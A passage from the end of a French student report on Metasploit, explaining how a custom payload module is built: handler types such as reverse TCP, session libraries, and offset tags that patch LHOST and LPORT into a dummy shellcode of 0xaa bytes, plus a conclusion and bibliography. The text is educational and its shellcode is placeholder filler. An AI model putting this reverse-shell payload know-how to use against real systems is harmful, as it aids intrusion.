    "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +

    "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +

    "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

    }

    ))

    end end end end end end

    Cette partie du payload est le bloc dinitialisation standard. Il comprend le nom telquil saffichera dans linterface au moment de lutilisation, la version qui sert lors dela mise jour de Metasploit via un serveur svn, une brve description du payload , duconcepteur et de la license et enfin lOS sur lequel le payload sapplique et dans queltype darchitecture il est cod.

    Le handler sert dfinir quel type de connexion lattaquant se sert, il en plusieurstype :

    Bind TCP : connexion cre par lattaquant. Reverse TCP : connexion cre par la cible.

    Find port

    21

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    23/25

    Find Tag None

    Le session sert pour dire quelle librairie sera charge lors de lexploit : soitCommandShell, ou Meterpreter.

    Payload =>

    {

    Offsets =>{

    LPORT => [ 0, n ],

    LHOST => [ 15, ADDR ],

    EXITFUNC => [ 30, V ],

    },

    On a ici les offets tags, dont il faut souligner limportance : ces tags pemettent lauteur des changer les variables lintrieur du shellcode. Dans lexemple ci-dessus onvoit que le shellcode est remplis de 0xaa, et ce pour dmontrer cette fonctionnalit. Sion lance msfpayload en configurant le LHOST par exemple, laddresse dbutant loctect

    15 sera remplace par laddresse en hexadcimal que lon aura mise dans LHOST. Si on neconfigue pas les champs LPORT et EXITFUNC, les addresses dbutants aux octects 0 et 30seront remplies avec les valeurs par dfault.

    Payload =>

    "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +

    "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +

    "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

    }

    ))

    end end end end end end

    Une fois que lon obtient une fois ce payload mis en place et quand on utilise msfpay-load :

    windows/exemple Exemple de comment ajouter un single payload

    Ce payload debute par les dclarations standards et la place des modules pour lesdpendance. Le nom du module est Exemple. Aprs le nom du module, on dclare lesWindows et single-stages shellcode que lon pourras utiliser. Puis vient le bloc dintiali-sation standard.

    # msfpayload windows/exemple LHOST=10.0.0.1 C

    /*

    * windows/exemple - 39 bytes* http://www.metasploit.com

    * EXITFUNC=seh, LPORT=4444

    */

    unsigned char buf[] =

    "\x11\x5c\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

    "\x0a\x00\x00\x01\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"

    "\xf0\x8a\x04\x5f\xaa\xaa\xaa\xaa\xaa";

    On voit alors, comme annonc, que les deux premiers octects ont comme valeur0x115c ce qui vaut 4444, et que laddresse qui commence loctet 15 est remplace

    par 0x0a 0x00 0x00 0x01, ce qui signifie 10.0.0.1.

    22

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    24/25

    Chapitre 5

    Conclusion

    Ce document touche dsormais sa fin. Nous esprons, au travers de ces quelquespages, avoir russi vous intressez cet outil quest Metasploit.

    Les notions entrevues lors des diffrents exemples de ce rapport ... Lancement dun exploit

    Dissection dun exploit Cration dun module... Vous permettrons de vous attaquer des sujets bien plus complexes dans le

    domaine des exploits et des payloads.

    Si laventure vous tente, sachez que vous pourrez trouver sur internet une vritablebibliothque des publications concernant Metasploit ou le monde des exploits. Nousmettons votre disposition une liste non exhaustive des livres, articles ou sites web dansla partie bibliographie de ce rapport. Celle-ci est suppose reprsentative mais rien nousvous oblige vous y restreindre.

    Nous tenons aussi rappeler que Metasploit a t cr avant tout pour tester larsistance des systmes face aux tentatives dintrusions. Il est donc interdit dutiliserMetasploit des fins malveillantes, mais comme dirai lautre : "Il est interdit dinterdire".

    23

  • 8/4/2019 Martin Pauliat Pelletier Memoire

    25/25

    Bibliographie

    [1] D. Maynor and KK Mookhey. Metasploit Toolkit for Penetration Testing, ExploitDevelopment, and Vulnerability Research. Syngress Press, 2007.

    [2] Staff Metasploit. Metasploit 3.0 Developers Guide. http://www.metasploit.com/documents/developers_guide.pdf.

    [3] Pukhraj Singh and K.K. Mookhey. Metasploit Framework. https://www.securinfos.info/jerome/DOC/Metasploit1_FR.pdf.

    [4] Staff. Site officiel de Metasploit. http://www.metasploit.com.

    [5] Staff. Blog officiel de Metasploit. http://blog.metasploit.com/.

    24